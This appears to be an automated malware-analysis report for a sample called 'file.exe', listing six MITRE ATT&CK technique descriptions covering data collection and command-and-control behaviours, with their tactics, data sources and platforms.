file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre